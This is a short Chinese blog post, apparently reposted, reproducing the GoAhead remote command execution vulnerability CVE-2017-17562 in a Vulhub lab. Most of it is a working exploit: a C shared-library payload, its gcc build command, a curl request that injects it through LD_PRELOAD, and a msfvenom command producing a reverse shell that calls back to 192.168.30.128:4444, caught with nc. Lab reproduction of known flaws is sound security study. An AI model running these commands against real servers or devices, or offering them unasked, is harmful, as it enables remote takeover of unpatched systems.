其他分享
首页 > 其他分享> > GoAhead 远程命令执行漏洞(CVE-2017-17562)

GoAhead 远程命令执行漏洞(CVE-2017-17562)

作者:互联网

漏洞原理

Embedthis GoAhead是美国Embedthis软件公司的一款嵌入式Web服务器。 Embedthis GoAhead 3.6.5之前的版本中存在安全漏洞。远程攻击者可利用该漏洞执行代码。
具体详细请看这篇文章:https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2017-17562/README.zh-cn.md

漏洞复现

我们首先需要编译一个动态链接库,而且需要和目标架构相同。所以在实战中,如果对方是一个智能设备,你可能需要交叉编译。因为Vulhub运行在Linux x86_64的机器中,所以我们需要用Linux编译。

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    write(1, "Hello: World!\n", 14);
}

编译以上代码:

gcc -shared -fPIC ./payload.c -o payload.so

将payload.so作为post body发送:

curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i 

在这里插入图片描述

反弹shell:

先生成so文件

msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.30.128 LPORT=4444 -f elf-so -o payload.so

再次使用命令post:

curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i 

用nc来接收反弹的shell
在这里插入图片描述

标签:17562,--,void,编译,so,2017,CVE,payload,GoAhead
来源: https://blog.csdn.net/EC_Carrot/article/details/117982702